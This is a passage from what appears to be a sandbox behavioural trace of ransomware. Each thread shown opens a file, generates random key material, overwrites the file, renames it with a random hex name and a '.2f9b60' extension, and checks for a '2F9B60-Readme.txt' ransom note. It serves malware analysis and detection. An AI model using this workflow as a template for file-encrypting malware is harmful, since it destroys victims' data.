Seed=0x241bfa90) returned 0x1bb62644 [0166.699] RtlRandomEx (in: Seed=0x241bfa90 | out: Seed=0x241bfa90) returned 0x6f4b8fdc [0166.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6ee0 [0166.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ca0 [0166.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e20 [0166.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0166.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f10) returned 1 [0166.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0166.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6ca0 [0166.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f01c0 [0166.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ff200 [0166.709] ReadFile (in: hFile=0x297c, lpBuffer=0x421f01c0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x241bfa90, lpOverlapped=0x0 | out: lpBuffer=0x421f01c0*, lpNumberOfBytesRead=0x241bfa90*=0x41, lpOverlapped=0x0) returned 1 [0166.710] SetFilePointerEx (in: hFile=0x297c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.710] WriteFile (in: hFile=0x297c, lpBuffer=0x421ff200*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x241bfa94, lpOverlapped=0x0 | out: lpBuffer=0x421ff200*, lpNumberOfBytesWritten=0x241bfa94*=0x41, lpOverlapped=0x0) returned 1 [0199.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265c40 [0199.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265bb0 [0199.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265bb0) returned 1 [0199.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ff200) returned 1 [0199.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f01c0) returned 1 [0199.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6ca0) returned 1 [0199.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0199.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20265bb0 [0199.735] SetFilePointerEx (in: hFile=0x297c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x297c, lpBuffer=0x431a9a40*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x241bfbb0, lpOverlapped=0x0 | out: lpBuffer=0x431a9a40*, lpNumberOfBytesWritten=0x241bfbb0*=0xfe, lpOverlapped=0x0) returned 1 [0203.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0203.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f900 [0203.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f900) returned 1 [0203.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d4a0 [0203.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f900 [0203.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f8d0 [0203.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f8d0) returned 1 [0203.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0203.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42d2f8d0 [0203.553] sprintf (in: _Dest=0x42d2f8d0, _Format="%c%c" | out: _Dest="f0") returned 2 [0203.553] sprintf (in: _Dest=0x42d2f8d2, _Format="%c%c" | out: _Dest="71") returned 2 [0203.553] sprintf (in: _Dest=0x42d2f8d4, _Format="%c%c" | out: _Dest="51") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8d6, _Format="%c%c" | out: _Dest="24") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8d8, _Format="%c%c" | out: _Dest="36") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8da, _Format="%c%c" | out: _Dest="89") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8dc, _Format="%c%c" | out: _Dest="aa") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8de, _Format="%c%c" | out: _Dest="8e") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8e0, _Format="%c%c" | out: _Dest="64") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8e2, _Format="%c%c" | out: _Dest="2e") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8e4, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.554] sprintf (in: _Dest=0x42d2f8e6, _Format="%c%c" | out: _Dest="79") returned 2 [0203.554] RtlInitAnsiString (in: DestinationString=0x241bfc28, SourceString="f07151243689aa8e642ea879" | out: DestinationString="f07151243689aa8e642ea879") [0203.554] RtlAnsiStringToUnicodeString (in: DestinationString=0x241bfbf8, SourceString="f07151243689aa8e642ea879", AllocateDestinationString=1 | out: DestinationString="f07151243689aa8e642ea879") returned 0x0 [0203.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fbf0 [0203.555] wcscat (in: _Dest=0x431a44f0, _Source="f07151" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f07151") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f07151" [0203.555] wcscat (in: _Dest=0x431a44f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f07151.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f07151.2f9b60" [0203.555] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f07151.2f9b60", NtPathName=0x241bfbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f07151.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c4ae0 [0237.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4ae0) returned 1 [0237.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432223d0) returned 1 [0237.691] NtQueryInformationFile (in: FileHandle=0x297c, IoStatusBlock=0x241bfc38, FileInformation=0x241bfc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x241bfc38, FileInformation=0x241bfc48) returned 0x0 [0237.691] NtSetInformationFile (FileHandle=0x297c, IoStatusBlock=0x241bfc38, FileInformation=0x241bfc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a44f0) returned 1 [0237.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0237.962] FlushFileBuffers (hFile=0x297c) returned 1 [0238.254] CloseHandle (hObject=0x297c) returned 1 [0241.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a1380 [0241.717] wcscpy (in: _Dest=0x431a1380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.717] wcscat (in: _Dest=0x431a1380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.717] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1380) returned 1 [0243.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebec80) returned 1 Thread: id = 2806 os_tid = 0x1700 [0159.883] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\banjul")) returned 0x20 [0165.800] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul", dwFileAttributes=0x20) returned 1 [0166.679] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\banjul"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2980 [0166.679] GetFileSizeEx (in: hFile=0x2980, lpFileSize=0x208bfae0 | out: lpFileSize=0x208bfae0*=77) returned 1 [0166.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45a0 [0166.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4510 [0166.680] NtQuerySystemTime (in: CurrentTime=0x208bf9a0 | out: CurrentTime=0x208bf9a0*=132462177717946000) returned 0x0 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x456ea678 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x2beb1e1a [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x73115df5 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x434c8e23 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0xe6fbfb6 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x34eebf2f [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x4ced213e [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x38a02efd [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x1e384b4a [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x47d45e52 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x61632f76 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x4a7bbf33 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x1bba55b8 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x5da5a906 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0xce5f8d0 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x1d04667b [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x3b08d763 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x4f2e72c2 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x2c6049be [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x787a7533 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x1b28b7b7 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x600ab48b [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x43cd9c34 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x180e7f30 [0166.680] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x7b0542ee [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x5c1ed776 [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x3e3876e0 [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x1cdcc096 [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x5a41b0c2 [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x3b23ba68 [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x3c846da4 [0166.681] RtlRandomEx (in: Seed=0x208bf990 | out: Seed=0x208bf990) returned 0x2007a3fb [0166.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4300 [0166.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6c20 [0166.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f42d0 [0166.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6c20) returned 1 [0166.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4510) returned 1 [0166.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19220 [0166.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6c20 [0166.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421f3dd0 [0166.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421dd570 [0166.693] ReadFile (in: hFile=0x2980, lpBuffer=0x421f3dd0, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x208bf990, lpOverlapped=0x0 | out: lpBuffer=0x421f3dd0*, lpNumberOfBytesRead=0x208bf990*=0x4d, lpOverlapped=0x0) returned 1 [0166.694] SetFilePointerEx (in: hFile=0x2980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.694] WriteFile (in: hFile=0x2980, lpBuffer=0x421dd570*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x208bf994, lpOverlapped=0x0 | out: lpBuffer=0x421dd570*, lpNumberOfBytesWritten=0x208bf994*=0x4d, lpOverlapped=0x0) returned 1 [0199.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b50 [0199.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b80 [0199.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b80) returned 1 [0199.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421dd570) returned 1 [0199.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f3dd0) returned 1 [0199.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6c20) returned 1 [0199.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19220) returned 1 [0199.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20265b80 [0199.731] SetFilePointerEx (in: hFile=0x2980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0199.731] WriteFile (in: hFile=0x2980, lpBuffer=0x423a93d0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x208bfab0, lpOverlapped=0x0 | out: lpBuffer=0x423a93d0*, lpNumberOfBytesWritten=0x208bfab0*=0xfe, lpOverlapped=0x0) returned 1 [0203.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0203.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0203.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43f0 [0203.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f43f0) returned 1 [0203.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82d4a0 [0203.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f43f0 [0203.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4420 [0203.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4420) returned 1 [0203.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0203.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0203.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x422f4420 [0203.539] sprintf (in: _Dest=0x422f4420, _Format="%c%c" | out: _Dest="f4") returned 2 [0203.539] sprintf (in: _Dest=0x422f4422, _Format="%c%c" | out: _Dest="75") returned 2 [0203.539] sprintf (in: _Dest=0x422f4424, _Format="%c%c" | out: _Dest="2e") returned 2 [0203.539] sprintf (in: _Dest=0x422f4426, _Format="%c%c" | out: _Dest="c7") returned 2 [0203.539] sprintf (in: _Dest=0x422f4428, _Format="%c%c" | out: _Dest="cf") returned 2 [0203.539] sprintf (in: _Dest=0x422f442a, _Format="%c%c" | out: _Dest="7e") returned 2 [0203.539] sprintf (in: _Dest=0x422f442c, _Format="%c%c" | out: _Dest="2c") returned 2 [0203.539] sprintf (in: _Dest=0x422f442e, _Format="%c%c" | out: _Dest="51") returned 2 [0203.539] sprintf (in: _Dest=0x422f4430, _Format="%c%c" | out: _Dest="2f") returned 2 [0203.539] sprintf (in: _Dest=0x422f4432, _Format="%c%c" | out: _Dest="53") returned 2 [0203.539] sprintf (in: _Dest=0x422f4434, _Format="%c%c" | out: _Dest="a6") returned 2 [0203.539] sprintf (in: _Dest=0x422f4436, _Format="%c%c" | out: _Dest="46") returned 2 [0203.539] RtlInitAnsiString (in: DestinationString=0x208bfb28, SourceString="f4752ec7cf7e2c512f53a646" | out: DestinationString="f4752ec7cf7e2c512f53a646") [0203.539] RtlAnsiStringToUnicodeString (in: DestinationString=0x208bfaf8, SourceString="f4752ec7cf7e2c512f53a646", AllocateDestinationString=1 | out: DestinationString="f4752ec7cf7e2c512f53a646") returned 0x0 [0203.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f5b0 [0203.540] wcscat (in: _Dest=0x431a4460, _Source="f4752e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f4752e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f4752e" [0203.540] wcscat (in: _Dest=0x431a4460, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f4752e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f4752e.2f9b60" [0203.541] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f4752e.2f9b60", NtPathName=0x208bfad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\f4752e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c4a40 [0237.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c4a40) returned 1 [0237.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43221f70) returned 1 [0237.692] NtQueryInformationFile (in: FileHandle=0x2980, IoStatusBlock=0x208bfb38, FileInformation=0x208bfb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x208bfb38, FileInformation=0x208bfb48) returned 0x0 [0237.692] NtSetInformationFile (FileHandle=0x2980, IoStatusBlock=0x208bfb38, FileInformation=0x208bfb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a4460) returned 1 [0237.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0237.961] FlushFileBuffers (hFile=0x2980) returned 1 [0238.252] CloseHandle (hObject=0x2980) returned 1 [0241.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a39b0 [0241.709] wcscpy (in: _Dest=0x431a39b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.709] wcscat (in: _Dest=0x431a39b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a39b0) returned 1 [0243.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebed00) returned 1 Thread: id = 2807 os_tid = 0x1708 [0159.884] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bissau")) returned 0x20 [0165.800] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau", dwFileAttributes=0x20) returned 1 [0166.659] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\bissau"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2984 [0166.660] GetFileSizeEx (in: hFile=0x2984, lpFileSize=0x256cfb20 | out: lpFileSize=0x256cfb20*=77) returned 1 [0166.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0166.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45a0 [0166.661] NtQuerySystemTime (in: CurrentTime=0x256cf9e0 | out: CurrentTime=0x256cf9e0*=132462177717790000) returned 0x0 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x60e7017f [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x6f4ffbe3 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x71659194 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x5ebef9ce [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x1593b0c [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x4addcae2 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x30b162a3 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x7de1a0d2 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x64d0a0e3 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x34e2112b [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x3d623b20 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x2a8061c3 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x23efd50a [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x2848e79f [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x5a9f081 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x646e6e86 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x209e1b7a [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x57ece6fe [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x40c79b2f [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x51f00440 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x4788afea [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x4809c753 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x3d1fb338 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x2681e67e [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x57f99eb9 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x594385 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x92b9519 [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x6a5a1d4a [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x168926ea [0166.661] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x172e4771 [0166.662] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x1708b63d [0166.662] RtlRandomEx (in: Seed=0x256cf9d0 | out: Seed=0x256cf9d0) returned 0x4da5f653 [0166.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4600 [0166.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0166.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f45d0 [0166.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 